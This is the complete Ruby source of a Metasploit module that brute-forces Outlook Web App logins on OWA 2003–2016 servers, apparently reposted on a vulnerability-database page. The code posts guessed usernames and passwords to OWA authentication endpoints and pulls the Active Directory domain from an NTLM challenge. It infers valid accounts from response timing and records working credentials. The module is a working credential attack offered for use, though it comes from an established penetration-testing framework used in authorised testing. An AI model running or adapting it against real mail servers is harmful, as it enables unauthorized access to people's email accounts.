`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team',
'sinn3r',
'Brandon Knight',
'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
'Nate Power', # HTTP timing option
'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
'Andrew Smith' # valid creds, no mailbox
],
'License' => MSF_LICENSE,
'Actions' =>
[
[
'OWA_2003',
{
'Description' => 'OWA version 2003',
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
'InboxPath' => '/exchange/',
'InboxCheck' => /Inbox/
}
],
[
'OWA_2007',
{
'Description' => 'OWA version 2007',
'AuthPath' => '/owa/auth/owaauth.dll',
'InboxPath' => '/owa/',
'InboxCheck' => /addrbook.gif/
}
],
[
'OWA_2010',
{
'Description' => 'OWA version 2010',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
}
],
[
'OWA_2013',
{
'Description' => 'OWA version 2013',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
],
[
'OWA_2016',
{
'Description' => 'OWA version 2016',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|logoff\.owa/
}
]
],
'DefaultAction' => 'OWA_2013',
'DefaultOptions' => {
'SSL' => true
}
)
register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptAddress.new('RHOST', [ true, "The target address" ]),
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])
])
register_advanced_options(
[
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0])
])
deregister_options('BLANK_PASSWORDS', 'RHOSTS')
end
def setup
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
isempty = true
each_user_pass do |user|
isempty = false
break
end
raise ArgumentError, "No username/password specified" if isempty
end
def run
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{action.name}")
auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck']
domain = nil
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
domain = datastore['AD_DOMAIN']
end
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
domain = get_ad_domain
end
begin
each_user_pass do |user, pass|
next if (user.blank? or pass.blank?)
vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass({
user: user,
domain: domain,
pass: pass,
auth_path: auth_path,
inbox_path: inbox_path,
login_check: login_check,
vhost: vhost
})
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting")
end
end
def try_user_pass(opts)
user = opts[:user]
pass = opts[:pass]
auth_path = opts[:auth_path]
inbox_path = opts[:inbox_path]
login_check = opts[:login_check]
vhost = opts[:vhost]
domain = opts[:domain]
user = domain + '\\' + user if domain
headers = {
'Cookie' => 'PBack=0'
}
if datastore['SSL']
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
else
if ["OWA_2013", "OWA_2016"].include?(action.name)
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
else
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
end
end
begin
if datastore['AUTH_TIME']
start_time = Time.now
end
baseline = datastore['BaselineAuthTime'] || 1.0
res = send_request_cgi({
'encode' => true,
'uri' => auth_path,
'method' => 'POST',
'headers' => headers,
'data' => data
})
if datastore['AUTH_TIME']
elapsed_time = Time.now - start_time
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end
if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return
end
if res.peerinfo['addr'] != datastore['RHOST']
vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
end
if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting")
return :abort
end
if ["OWA_2013", "OWA_2016"].include?(action.name)
# Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
# Check if the password needs to be changed.
if res.headers['location'] =~ /expiredpassword/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end
# No password change required moving on.
# Check for valid login but no mailbox setup
print_good("server type: #{res.headers["X-FEServer"]}")
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
end
unless location = res.headers['location']
print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")
return :abort
end
reason = location.split('reason=')[1]
if reason == nil
headers['Cookie'] = 'PBack=0;' << res.get_cookies
else
# Login didn't work. no point in going on, however, check if valid domain account by response time.
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
return :Skip_pass
end
end
else
# The authentication info is in the cookies on this response
cookies = res.get_cookies
cookie_header = 'PBack=0'
%w(sessionid cadata).each do |necessary_cookie|
if cookies =~ /#{necessary_cookie}=([^;]*)/
cookie_header << "; #{Regexp.last_match(1)}"
else
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
return :abort
end
end
headers['Cookie'] = cookie_header
end
begin
res = send_request_cgi({
'uri' => inbox_path,
'method' => 'GET',
'headers' => headers
}, 20)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
return :abort
end
if not res
print_error("#{msg} HTTP Connection Error, Aborting")
return :abort
end
if res.redirect?
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
return :skip_pass
end
end
if res.body =~ login_check
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user,
password: pass
)
return :next_user
else
if elapsed_time && elapsed_time <= baseline
unless user =~ /@\w+\.\w+/
report_cred(
ip: res.peerinfo['addr'],
port: datastore['RPORT'],
service_name: 'owa',
user: user
)
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
return :Skip_pass
end
else
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
return :skip_pass
end
end
end
def get_ad_domain
urls = ['aspnet_client',
'Autodiscover',
'ecp',
'EWS',
'Microsoft-Server-ActiveSync',
'OAB',
'PowerShell',
'Rpc']
domain = nil
urls.each do |url|
begin
res = send_request_cgi({
'encode' => true,
'uri' => "/#{url}",
'method' => 'GET',
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
vprint_error("#{msg} HTTP Connection Failed")
next
end
if not res
vprint_error("#{msg} HTTP Connection Timeout")
next
end
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
print_good("Found target domain: #{domain}")
return domain
end
end
return domain
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Test if password was passed, if so, add private_data. If not, assuming only username was found
if opts.has_key?(:password)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user]
}.merge(service_data)
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end
def msg
"#{vhost}:#{rport} OWA -"
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation